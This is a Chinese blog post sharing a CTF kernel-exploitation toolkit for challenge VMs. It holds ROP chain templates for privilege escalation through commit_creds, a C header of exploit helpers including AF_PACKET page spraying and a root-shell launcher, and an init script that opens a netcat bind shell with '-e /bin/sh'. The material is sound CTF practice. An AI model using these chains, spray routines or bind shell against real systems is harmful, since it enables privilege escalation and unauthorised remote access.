kernelpwn(内核态pwn)常用头文件、远程脚本、软件集合

前言

这是一个笔者用于放置个人kernelpwn(内核态pwn)常用头文件、远程脚本、软件集合的帖子,其中绝大部分是在ctf-wiki以及arttnba大佬的基础上进行二次开发

ctf-wikihttps://ctf-wiki.org/pwn/linux/kernel-mode/basic-knowledge/
arttnba大佬主页:https://arttnba3.cn/about/

本文配套文件开源在:https://github.com/shelbyy54/kernel-pwn-tools ,目前采用MIT,在之后会跟随arttnba大佬之后的许可证变动进行变动。

本篇博文按照CC BY-NC-SA 4.0 协议进行开源,且已经获得原作者授权。

image

一、软件准备

1.1 宿主机

  • ida por 9(逆向分析+调试器)
  • VMware (虚拟机软件)
  • VSCode (用于在虚拟机内写代码)
  • python3.13pwntoolspwsh等基础套件

1.2 虚拟机

采用ubuntu24.2作为基础平台

  • python3.13pwntoolstqdm(基础套件)
  • gdbpwndbg(调试器)
  • gcc、`g++``(编译器)
  • qemu(虚拟机)
  • ropper(寻找代码块)
  • ROPgadget(寻找代码块)
  • extract-vmlinux(提取文件)

二、拿到题目基础操作

一般来说,能拿到以下文件:

  • bzImage : 静态编译,经过压缩的kernel文件
  • core.cpio : qemu镜像文件
  • start.sh : qemu启动脚本
  • vmlinux : 静态编译,未经过压缩的kernel文件

如果题目没有给vmlinux,可以通过extract-vmlinux提取

2.1 提取gadget

ropper --file ./vmlinux --nocolor > gadget_ropper.txt
ROPgadget --binary ./vmlinux > gadget_ropgadget.txt

2.2 寻找函数地址:

nm -n vmlinux | grep commit_creds
nm -n vmlinux | grep prepare_kernel_cred

2.3 解包

mkdir core
mv ../core.cpio core.cpio.gz
gunzip ./core.cpio.gz
cpio -idm < ./core.cpio

一条命令版:

mkdir -p core && cp core.cpio.gz core/ && cd core && gunzip core.cpio.gz && cpio -idmv < core.cpio

2.4 查看start.sh

注意查看内存大小以及开了什么保护

qemu-system-x86_64 \   #使用x64启动
-m 64M \               #给64m内存
-kernel ./bzImage \    #内核
-initrd  ./core.cpio \ #文件系统
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 开启了 kaslr 保护
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ # 加一个网卡
-nographic  \

建议将内存改为256M以上防止启动不起来

2.5 查看init

#!/bin/sh
mount -t proc proc /proc            # 挂载必要的设备
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms   # 把 kallsyms 的内容保存到了 /tmp/kallsyms 中,那么我们就能从 /tmp/kallsyms 中读取 commit_creds,prepare_kernel_cred 的函数的地址了
echo 1 > /proc/sys/kernel/kptr_restrict # 不能通过 /proc/kallsyms 查看函数地址
echo 1 > /proc/sys/kernel/dmesg_restrict # 不能通过 dmesg 查看 kernel 的信息
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko                      # 加载漏洞模块
 
poweroff -d 120 -f &                 # 定时关机,把这条删除掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh  # 以普通用户身份启动一个shell
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f

建议删除定时关机

2.6 打包脚本

新建gen_cpio.sh

find . -print0 \
cpio --null -ov --format=newc \
gzip -9 > $1

建议放置于解包的目录下,方便打包,使用方法

./gen_cpio.sh core.cpio

2.7 编译C

建议使用以下命令编译:

gcc -masm=intel -no-pie -static -O2 -Wall -o A 1.c

2.8 经典需要寻找的地址:

  • COMMIT_CREDS 更新当前进程uid
  • prepare_kernel_cred 创建一个新的、干净的credentials(凭据结构体
    执行 commit_creds(prepare_kernel_cred(NULL)) 进行提权
  • POP_RDI_RET
  • MOV_RDI_RAX_CALL_RDX
  • POP_RDX_RET
  • POP_RCX_RET
  • SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 切换页表,用这个不用下面两个,需要注意的是该函数开头有一堆我们不需要的操作,我们需要通过逆向的方式手动计算该函数中mov rdi, cr3指令的位置:
  • SWAPGS_POPFQ_RET 切换回用户态使用
  • IRETQ 切换回用户态使用

2.8.1 获取方法:

要对着有符号的vmlinux使用:

  • 获取函数地址:
nm -n vmlinux | grep " commit_creds"
nm -n vmlinux | grep " prepare_kernel_cred"

或者更全面:

objdump -t vmlinux | grep " commit_creds"
objdump -t vmlinux | grep " prepare_kernel_cred"
  • 获得ROP地址:
ROPgadget --binary vmlinux > ROPgadget.txt
  • IDA 大法,直接打开vmlinux

注意,在ida搜索不到swapgs_restore_regs_and_return_to_usermode,先运行nm -n vmlinux | grep swapgs_restore_regs_and_return_to_usermode然后在ida按g跳转
`

无页表切换常用ROP:

    for(i = 0; i < 10; i++) {
        rop_chain[i] = canary;
    }
    rop_chain[i++] = POP_RDI_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + kernel_offset;   // exec:1
    rop_chain[i++] = POP_RCX_RET + kernel_offset;   // exec:3
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset;  // exec:2
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = SWAPGS_POPFQ_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = IRETQ + kernel_offset;
    rop_chain[i++] = (size_t) get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp + 8;   // userland stack balance
    rop_chain[i++] = user_ss;

有的话:

    for(i = 0; i < 10; i++) {
        rop_chain[i] = canary;
    }
    rop_chain[i++] = POP_RDI_RET + kernel_offset;
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;
    rop_chain[i++] = POP_RDX_RET + kernel_offset;   // exec:1
    rop_chain[i++] = POP_RCX_RET + kernel_offset;   // exec:3
    rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + kernel_offset;  // exec:2
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + kernel_offset;
    rop_chain[i++] = *(size_t*) "arttnba3";
    rop_chain[i++] = *(size_t*) "arttnba3";
    rop_chain[i++] = (size_t) get_root_shell;
    rop_chain[i++] = user_cs;
    rop_chain[i++] = user_rflags;
    rop_chain[i++] = user_sp + 8;   // userland stack balance
    rop_chain[i++] = user_ss;

三、用于远程连接的python脚本

在 Kernel Pwn 题目开发或调试阶段,为了避免频繁打包 initramfs,我们希望实现主机 ➜ 虚拟机的文件传输、交互等需求,而不是频繁打包文件

3.1 修改start.sh

3.1.1. QEMU 网络模式(TAP)

QEMU 默认使用用户态网络(-netdev user),主机无法主动连接虚拟机,因此:

# 修改前
qemu-system-x86_64 \
  -m 512M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev user,id=t0 \                        # 需要修改的部分
  -device e1000,netdev=t0,id=nic0 \           # 需要修改的部分
  -nographic

我们改为

# 修改后
qemu-system-x86_64 \
  -m 512M \
  -kernel ./bzImage \
  -initrd ./core.cpio \
  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
  -s \
  -netdev tap,id=t0,ifname=tap0,script=no,downscript=no \
  -device e1000,netdev=t0,id=nic0 \
  -nographic

这表示将虚拟机网卡(eth0)桥接到主机上的 tap0 接口。

3.1.2 宿主机搭建网桥

在此之后,我们要在宿主机上:

sudo ip tuntap add dev tap0 mode tap user $(whoami)
sudo ip link set tap0 up
sudo brctl addbr br0
sudo brctl addif br0 tap0
sudo ip addr add 10.0.2.2/24 dev br0
sudo ip link set br0 up

或者使用脚本:

#!/bin/bash
# Author: 归海言诺
# Description: 初始化 QEMU 网络环境,创建 tap0 和 br0,并配置静态 IP

set -e

TAP="tap0"
BR="br0"
HOST_IP="10.0.2.2"
NETMASK="255.255.255.0"
CIDR="/24"

echo "[*] 创建 TAP 接口: $TAP"
ip tuntap add dev $TAP mode tap user $(whoami) || echo "[!] TAP 接口可能已存在"
ip link set $TAP up

echo "[*] 创建网桥: $BR"
brctl addbr $BR 2>/dev/null || echo "[!] 网桥 $BR 已存在"

echo "[*] 将 TAP 接口加入网桥"
brctl addif $BR $TAP 2>/dev/null || echo "[!] TAP 接口可能已加入网桥"

echo "[*] 配置主机桥 IP: $HOST_IP"
ip addr flush dev $BR
ip addr add ${HOST_IP}${CIDR} dev $BR
ip link set $BR up

echo "[✔] 主机桥接环境配置完成"
brctl show $BR
ip addr show $BR

3.1.3. 修改init

这是原生脚本

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

修改后:

#!/bin/sh

# 基础挂载
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx

# 导出 kallsyms,设置限制
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

# 正确网络配置(静态 IP)
ifconfig eth0 up
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2

# 插入内核模块
insmod /core.ko

# 绑定 shell 到端口 1145(主机连接)
nc -ll -p 1145 -e /bin/sh &

# 启动交互 shell
setsid /bin/cttyhack setuidgid 1000 /bin/sh

# 清理
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

别忘了修改后的要打包回去再启动!

3.1.4 丢入虚拟机

最后,使用这个脚本丢入虚拟机:

from pwn import *
import base64
context.log_level = "debug"

with open("./A", "rb") as f:
    exp = base64.b64encode(f.read())

p = remote("10.0.2.15", 1145)
try_count = 1
while True:
    count = 0
    for i in range(0, len(exp), 0x200):
        p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
        count += 1
        log.info("count: " + str(count))

    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
    p.sendline("chmod +x /tmp/exploit")
    break

p.interactive()

四、用于内核pwn的头文件

4.0 头部声明

包含此文件后,使用进行此条命令编译

gcc -masm=intel -no-pie -static -O2 -Wall -o A 1.c

类似pwntoolslibc.base,我们大概率要在主要的文件内包含以下变量。

// 基本上要用的参数:
// size_t commit_creds = 0, prepare_kernel_cred = 0;
// size_t kernel_offset;

// size_t user_cs, user_ss, user_rflags, user_sp;
/**
 * @file kernel.h
 * @author arttnba3 (arttnba@gmail.com)
 * @brief arttnba3's personal utils for kernel pwn
 * @version 1.1
 * @date 2023-05-20
 *
 * @copyright Copyright (c) 2023 arttnba3
 *
 */

/**
 * @modification Modified by Cyber_Kaiyo (tgychine@foxmail.com)
 * @date 2025-07-01
 * @brief 做了翻译,以及一些改造
 */

/*
 * 本项目为开源工具头文件,允许自由使用、分发和修改(MIT License)。
 *
 * 本项目依赖系统的 libelf 库(来自
 * elfutils,LGPL-3.0-only),仅通过动态链接方式使用。 libelf
 * 不包含在本项目中,用户需自行安装(如通过 apt 安装 libelf-dev)。
 *
 * 项目地址:
 */

// 编译命令:gcc -masm=intel -no-pie -static -O2 -Wall -o A 1.c

// 基本上要用的参数:
// size_t commit_creds = 0, prepare_kernel_cred = 0;
// size_t kernel_offset;

// size_t user_cs, user_ss, user_rflags, user_sp;

#ifndef A3_KERNEL_PWN_H
#define A3_KERNEL_PWN_H

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <gelf.h>
#include <libelf.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

4.0 日志输出部分


/*
  0. 控制日志输出部分
*/

#define COLOR_RED "\033[31m"
#define COLOR_GREEN "\033[32m"
#define COLOR_YELLOW "\033[33m"
#define COLOR_BLUE "\033[34m"
#define COLOR_RESET "\033[0m"
#define COLOR_BOLD "\033[1m"

/**
 * log_xxx - 打印彩色信息
 *
 * @fmt: 格式化字符串,与 printf 类似
 * @...: 可变参数
 *
 */


#define log_error(fmt, ...)                                                    \
  do {                                                                         \
    fprintf(stderr, COLOR_RED "[x] " fmt COLOR_RESET "\n", ##__VA_ARGS__);     \
  } while (0)

#define log_info(fmt, ...)                                                     \
  do {                                                                         \
    fprintf(stdout, COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__);    \
  } while (0)

#define log_success(fmt, ...)                                                  \
  do {                                                                         \
    fprintf(stdout, COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__);   \
  } while (0)

#define log_protection(name, enabled)                                          \
  do {                                                                         \
    fprintf(stdout, "  \033[37m%-12s:\033[0m %s%s%s\n", name,                  \
            (enabled) ? COLOR_GREEN : COLOR_RED, (enabled) ? "启用" : "关闭",  \
            COLOR_RESET);                                                      \
  } while (0)

/**
 * log_exit - 打印错误信息并退出程序
 *
 * @fmt: 格式化字符串,与 printf 类似
 * @...: 可变参数
 *
 * 输出错误信息(红色高亮),等待几秒,调用 exit(EXIT_FAILURE) 退出。
 */
void err_exit(const char *fmt, ...) {
  va_list args;

  va_start(args, fmt);
  fprintf(stderr, COLOR_RED COLOR_BOLD "[!!!] 发生致命错误 : " COLOR_RESET);
  vfprintf(stderr, fmt, args);
  fprintf(stderr, "\n");
  va_end(args);

  fprintf(stderr, COLOR_RED COLOR_BOLD "正在等待退出 (5s) ...\n" COLOR_RESET);
  sleep(5);
  exit(EXIT_FAILURE);
}

4.1 基本功能

/*
  1. 基本功能
  例如:绑定 CPU 核心、保存用户态寄存器状态等
*/

// 静态内核映像(vmlinux)的基址,KASLR 关闭时常为 0xffffffff81000000
size_t kernel_base = 0xffffffff81000000;

// KASLR 偏移量 = 实际基址 - 静态基址,用于动态修正符号地址
size_t kernel_offset = 0;

// 内核直接映射区(direct mapping region)的起始地址
// 用户空间中的内核泄露地址大多位于该区域
size_t page_offset_base = 0xffff888000000000;

// struct page 的虚拟映射起始地址(vmemmap 区)
// 每个物理页帧都对应一个 struct page 结构体,存放于此区域
size_t vmemmap_base = 0xffffea0000000000;

// init_task 是第一个内核线程(PID 0)的 task_struct 地址
// 用于遍历进程链表、查找当前进程结构体等
size_t init_task;

// init_nsproxy 是默认命名空间的全局指针(struct nsproxy)
// 可用于修复或伪造命名空间结构
size_t init_nsproxy;

// init_cred 是全局 root 权限 cred 对象的地址(struct cred)
// 通常用于提权:将当前进程的 cred 替换为 init_cred
size_t init_cred;

/**
 * direct_map_addr_to_page_addr - 将 direct mapping 地址转换为 struct page
 * 结构地址
 *
 * @direct_map_addr: 直接映射区域中的虚拟地址(通常是内核态访问物理页的地址)
 *
 * 返回该地址对应页的 struct page 结构的虚拟地址。
 *
 * 转换逻辑如下:
 *   1. 首先将地址按页对齐(去除页内偏移);
 *   2. 减去 page_offset_base 得到其相对页数;
 *   3. 每个页在 vmemmap 区域对应一个 struct page,大小为 0x40 字节;
 *   4. 计算偏移后,加上 vmemmap_base 即可得到对应的 struct page 地址。
 *
 * 用于内核 pwn 中定位页结构体,支持进一步的 flags、refcount 等操作。
 */
size_t direct_map_addr_to_page_addr(size_t direct_map_addr) {
  size_t page_count;
  page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
  return vmemmap_base + page_count * 0x40;
}

/**
 * get_root_shell - 提权结果验证器 + 弹 shell 工具
 *
 * 此函数用于在提权操作(如 commit_creds/prepare_kernel_cred)之后调用,
 * 检查当前进程是否为 root 用户(getuid == 0)。
 *
 * - 如果不是 root:输出错误信息并退出;
 * - 如果是 root:输出成功提示并执行 /bin/sh;
 * - shell 退出后,进程也将正常退出。
 */
void get_root_shell(void) {
  log_info("正在检查是否获取 root 权限...");

  if (getuid()) {
    err_exit("未能获得 root 权限!当前uid为%d", getuid());
  }

  log_success("已成功获取 root 权限!");
  log_info("正在执行 /bin/sh ...");
  system("/bin/sh");
  exit(EXIT_SUCCESS);
}

/* 用户态寄存器状态保存变量 */
size_t user_cs;     // 用户态代码段选择子
size_t user_ss;     // 用户态栈段选择子
size_t user_sp;     // 用户态栈指针
size_t user_rflags; // 用户态 EFLAGS 寄存器

/**
 * save_status - 保存当前用户态的上下文状态
 *
 * 该函数用于内核提权漏洞利用中,在进入内核态之前保存当前用户态的关键寄存器值。
 * 包括:
 *   - CS:代码段寄存器(确定从内核返回到用户态时使用的段)
 *   - SS:栈段寄存器
 *   - RSP:当前栈指针
 *   - RFLAGS:标志寄存器(用于恢复中断标志、方向位等)
 *
 * 保存这些信息后,可用于构造 iretq 返回用户态时的完整栈帧。
 */
void save_status(void) {
  asm volatile("mov user_cs, cs;"  // 保存当前代码段
               "mov user_ss, ss;"  // 保存当前栈段
               "mov user_sp, rsp;" // 保存当前栈指针
               "pushf;"            // 压入 RFLAGS
               "pop user_rflags;"  // 弹出到变量中
  );

  log_info("用户态寄存器状态已保存。");
}

/**
 * bind_core - 将当前进程绑定到指定的 CPU 核心上
 *
 * @core: 要绑定的 CPU 编号(从 0 开始)
 *
 * 使用 sched_setaffinity 系统调用设置当前进程的 CPU 亲和性,
 * 限制其只能在指定核心上运行。可用于减少时序扰动或提升稳定性,
 * 常用于 kernel pwn 中构造 race condition 时精确控制调度器行为。
 */
void bind_core(int core) {
  cpu_set_t cpu_set;

  // 清空 CPU 集合并设置目标 core
  CPU_ZERO(&cpu_set);
  CPU_SET(core, &cpu_set);

  // 尝试绑定当前进程到目标 CPU
  if (sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set) == -1) {
    err_exit("无法将进程绑定到 CPU core %d", core);
  }
  log_info("进程已绑定到 CPU core %d", core);
}

/**
 * get_root_privilige - 提升当前进程权限为 root
 *
 * @prepare_kernel_cred: prepare_kernel_cred 函数地址
 * @commit_creds:        commit_creds 函数地址
 *
 * 通常在内核漏洞中配合 ret2usr 调用:
 *   commit_creds(prepare_kernel_cred(NULL));
 *
 * 该函数通过将当前进程的 credentials 替换为 root cred,
 * 实现无密码提权。
 */
void get_root_privilige(size_t prepare_kernel_cred, size_t commit_creds) {
  // 将地址转为函数指针
  void *(*prepare_kernel_cred_ptr)(void *) =
      (void *(*)(void *))prepare_kernel_cred;

  int (*commit_creds_ptr)(void *) = (int (*)(void *))commit_creds;

  // 实际提权操作:commit_creds(prepare_kernel_cred(NULL));
  commit_creds_ptr(prepare_kernel_cred_ptr(NULL));
}

/**
 * unshare_setup - 创建隔离命名空间环境(user + mount + net)
 *
 * !注意:本函数 **不是** 用于直接提权,
 * 而是为 exploit 操作提供沙箱环境,避免污染全局系统状态。
 *
 * 实现流程:
 *   1. 创建新的 user、mount、network namespace;
 *   2. 写 /proc/self/setgroups 为 deny,避免 GID 映射被拒绝;
 *   3. 设置 UID/GID 映射,将当前用户映射为 namespace 内的 root;
 */
void unshare_setup(void) {
  char edit[0x100];
  int tmp_fd;

  // 创建 user/mount/net namespace
  if (unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET) == -1) {
    log_error("unshare 调用失败");
    exit(EXIT_FAILURE);
  }
  log_info("命名空间已创建");

  // 禁止 setgroups,避免写 gid_map 被拒绝
  tmp_fd = open("/proc/self/setgroups", O_WRONLY);
  if (tmp_fd >= 0) {
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);
  } else {
    log_error("无法写 /proc/self/setgroups");
    exit(EXIT_FAILURE);
  }

  // 设置 UID 映射:将当前用户映射为 namespace 内的 uid 0
  tmp_fd = open("/proc/self/uid_map", O_WRONLY);
  if (tmp_fd >= 0) {
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
  } else {
    log_error("无法写 /proc/self/uid_map");
    exit(EXIT_FAILURE);
  }

  // 设置 GID 映射:将当前用户映射为 namespace 内的 gid 0
  tmp_fd = open("/proc/self/gid_map", O_WRONLY);
  if (tmp_fd >= 0) {
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
  } else {
    log_error("无法写 /proc/self/gid_map");
    exit(EXIT_FAILURE);
  }

  log_info("UID/GID 映射已完成,当前进程为命名空间内 root");
}

4.2 基本结构


/*
  2. 基本结构
  例如: 链表头
*/

struct list_head {
  uint64_t next;
  uint64_t prev;
};

4.3 与 pgv 页面的喷射(spray)操作相关

/**
 * 3. 与 pgv 页面的喷射(spray)操作相关
 *
 * 注意:我们应当创建两个进程:
 * - 父进程:负责发送指令并执行提权(如获取 root 权限);
 * - 子进程:调用 unshare_setup() 创建隔离的用户空间环境,
 *            接收来自父进程的指令,并仅执行这些指令。
 */

// 定义最大喷射页数量为 1000 个
#define PGV_PAGE_NUM 1000
// 用于 packet_mmap 利用相关参数
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

// 用于在父子进程间传递“喷射指令”的结构体
// 每个为 (size * nr) bytes,对齐到 PAGE_SIZE
struct pgv_page_request {
  int idx;           // 标识/编号,用于引用某一批已分配页
  int cmd;           // 操作类型(见 enum)
  unsigned int size; // 每个块的大小(通常为页对齐)
  unsigned int nr;   // 要分配的数量
};

/* operations type */
enum {
  CMD_ALLOC_PAGE, // 申请 spray 页(如 mmap 或 packet mmap)
  CMD_FREE_PAGE,  // 释放对应 spray 页
  CMD_EXIT,       // 退出 spray 子进程
};

// 父进程 → 子进程:发送 pgv_page_request 指令
// 	子进程 → 父进程:返回执行状态或 ack
int cmd_pipe_req[2], cmd_pipe_reply[2];

/**
 * create_socket_and_alloc_pages - 创建 AF_PACKET 套接字并分配页喷射内存
 *
 * @size: 每个 block 的大小(建议为页对齐)
 * @nr:   block 的数量(最终分配总大小为 size * nr)
 *
 * 使用 PACKET_TX_RING 创建 ring buffer,通过 mmap 或 kernel 分配方式
 * 在内核中申请大量页,常用于漏洞利用中的页喷射(heap spray)。
 *
 * 返回值:
 *   - 成功:返回创建好的 socket fd;
 *   - 失败:返回负数(系统调用失败码)
 */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr) {
  // tpacket version 枚举,仅使用 V1
  enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
  };

  // AF_PACKET 套接字请求结构体
  struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
  };

  struct tpacket_req req;
  int socket_fd, version;
  int ret;

  // 创建 socket(AF_PACKET, SOCK_RAW, PF_PACKET)
  socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
  if (socket_fd < 0) {
    log_error("socket(AF_PACKET, SOCK_RAW, PF_PACKET) 创建失败");
    ret = socket_fd;
    goto err_out;
  }

  // 设置 TPACKET_V1 版本
  version = TPACKET_V1;
  ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, &version,
                   sizeof(version));
  if (ret < 0) {
    log_error("setsockopt(PACKET_VERSION) 设置失败");
    goto err_setsockopt;
  }

  // 初始化页喷射参数
  memset(&req, 0, sizeof(req));
  req.tp_block_size = size;               // 每个 block 的大小
  req.tp_block_nr = nr;                   // block 数量
  req.tp_frame_size = 0x1000;             // 每个 frame 是 1 页
  req.tp_frame_nr = (size * nr) / 0x1000; // 总 frame 数量 = 总大小 / 页大小

  // 设置 PACKET_TX_RING,触发内核分配页
  ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
  if (ret < 0) {
    log_error("setsockopt(PACKET_TX_RING) 设置失败");
    goto err_setsockopt;
  }

  return socket_fd;

err_setsockopt:
  close(socket_fd);
err_out:
  return ret;
}

/**
 * alloc_page - 向 spray 子进程发送页分配请求
 *
 * @idx: 用户自定义的 spray 页编号(用于引用管理)
 * @size: 每个 block 的大小(建议页对齐)
 * @nr: 要分配的 block 数量
 *
 * 本函数应由父进程调用,通过 pipe 向子进程发送 CMD_ALLOC_PAGE 请求,
 * 子进程将调用 create_socket_and_alloc_pages() 完成页喷射。
 *
 * 返回值:
 *   - 成功:>=0(一般为 socket fd)
 *   - 失败:<0(对应系统调用失败码)
 */
int alloc_page(int idx, unsigned int size, unsigned int nr) {
  struct pgv_page_request req = {
      .idx = idx,
      .cmd = CMD_ALLOC_PAGE,
      .size = size,
      .nr = nr,
  };
  int ret;

  // 向子进程发送请求
  if (write(cmd_pipe_req[1], &req, sizeof(req)) != sizeof(req)) {
    log_error("写入 spray 请求失败(alloc_page)");
    return -1;
  }

  // 等待子进程执行结果
  if (read(cmd_pipe_reply[0], &ret, sizeof(ret)) != sizeof(ret)) {
    log_error("读取 spray 回复失败(alloc_page)");
    return -1;
  }

  return ret;
}

/**
 * free_page - 向 spray 子进程发送释放页请求
 *
 * @idx: 要释放的页喷射编号(对应之前 alloc_page() 时传入的 idx)
 *
 * 本函数应由父进程调用,用于请求子进程释放指定 idx 处的喷射资源,
 * 通常通过 close(socket_fd) 或 munmap() 实现。
 *
 * 返回值:
 *   - 成功:>=0(通常为 0)
 *   - 失败:<0(系统调用失败码)
 */
int free_page(int idx) {
  struct pgv_page_request req = {
      .idx = idx,
      .cmd = CMD_FREE_PAGE,
  };
  int ret;

  // 向子进程发送释放请求
  if (write(cmd_pipe_req[1], &req, sizeof(req)) != sizeof(req)) {
    log_error("写入 spray 请求失败(free_page)");
    return -1;
  }

  // 等待子进程回复释放结果
  if (read(cmd_pipe_reply[0], &ret, sizeof(ret)) != sizeof(ret)) {
    log_error("读取 spray 回复失败(free_page)");
    return -1;
  }

  return ret;
}

/**
 * spray_cmd_handler - spray 子进程的命令处理主循环
 *
 * 此函数在子进程中调用:
 *   - 首先调用 unshare_setup() 创建隔离命名空间;
 *   - 然后通过 pipe 循环接收父进程传来的 pgv_page_request;
 *   - 支持 CMD_ALLOC_PAGE / CMD_FREE_PAGE / CMD_EXIT 指令;
 *
 * 所有操作结果通过 cmd_pipe_reply 返回。
 */
void spray_cmd_handler(void) {
  struct pgv_page_request req;
  int socket_fd[PGV_PAGE_NUM] = {0};
  int ret;

  // 在子进程中隔离 user/mount/net namespace
  unshare_setup();

  // 循环处理父进程的请求
  while (1) {
    // 接收请求
    if (read(cmd_pipe_req[0], &req, sizeof(req)) != sizeof(req)) {
      log_error("读取请求失败,退出 spray handler");
      break;
    }

    switch (req.cmd) {
    case CMD_ALLOC_PAGE:
      if (req.idx < 0 || req.idx >= PGV_PAGE_NUM) {
        log_error("CMD_ALLOC_PAGE: 非法 idx = %d", req.idx);
        ret = -1;
      } else {
        ret = create_socket_and_alloc_pages(req.size, req.nr);
        socket_fd[req.idx] = ret;
        log_info("已分配 spray 页 idx=%d fd=%d", req.idx, ret);
      }
      break;

    case CMD_FREE_PAGE:
      if (req.idx < 0 || req.idx >= PGV_PAGE_NUM || socket_fd[req.idx] <= 0) {
        log_error("CMD_FREE_PAGE: 非法 idx = %d", req.idx);
        ret = -1;
      } else {
        ret = close(socket_fd[req.idx]);
        socket_fd[req.idx] = 0;
        log_info("已释放 spray 页 idx=%d", req.idx);
      }
      break;

    case CMD_EXIT:
      log_info("接收到退出指令,spray 子进程即将退出");
      ret = 0;
      write(cmd_pipe_reply[1], &ret, sizeof(ret));
      return;

    default:
      log_error("收到无效指令:cmd = %d", req.cmd);
      ret = -1;
      break;
    }

    // 发送响应
    write(cmd_pipe_reply[1], &ret, sizeof(ret));
  }
}

/**
 * prepare_pgv_system - 初始化 pgv spray 子系统(父进程调用)
 *
 * 功能包括:
 *   1. 创建双向通信管道(父子进程之间);
 *   2. fork 子进程并在子进程中启动 spray_cmd_handler();
 *   3. 父进程继续作为主控端,发送 spray 请求。
 */
void prepare_pgv_system(void) {
  pid_t pid;

  // 创建命令请求管道(父 → 子)
  if (pipe(cmd_pipe_req) < 0) {
    log_error("创建 cmd_pipe_req 失败");
    exit(EXIT_FAILURE);
  }

  // 创建命令响应管道(子 → 父)
  if (pipe(cmd_pipe_reply) < 0) {
    log_error("创建 cmd_pipe_reply 失败");
    exit(EXIT_FAILURE);
  }

  // fork 子进程,用于处理喷射指令
  pid = fork();
  if (pid < 0) {
    log_error("fork 失败");
    exit(EXIT_FAILURE);
  }

  if (pid == 0) {
    // 子进程:启动 spray 命令处理器
    spray_cmd_handler();
    _exit(0); // 确保子进程退出
  }

  log_info("pgv spray 子系统已初始化,子进程 PID = %d", pid);
}

4.4 keyctl相关部分

/*
4. keyctl 相关部分
 */

/**
 * MUSL 标准库中也没有 `keyctl.h` 头文件 :(
 * 幸运的是,在利用过程中我们只用到少量宏定义,
 * 所以直接手动定义它们也是没问题的 :)
 */

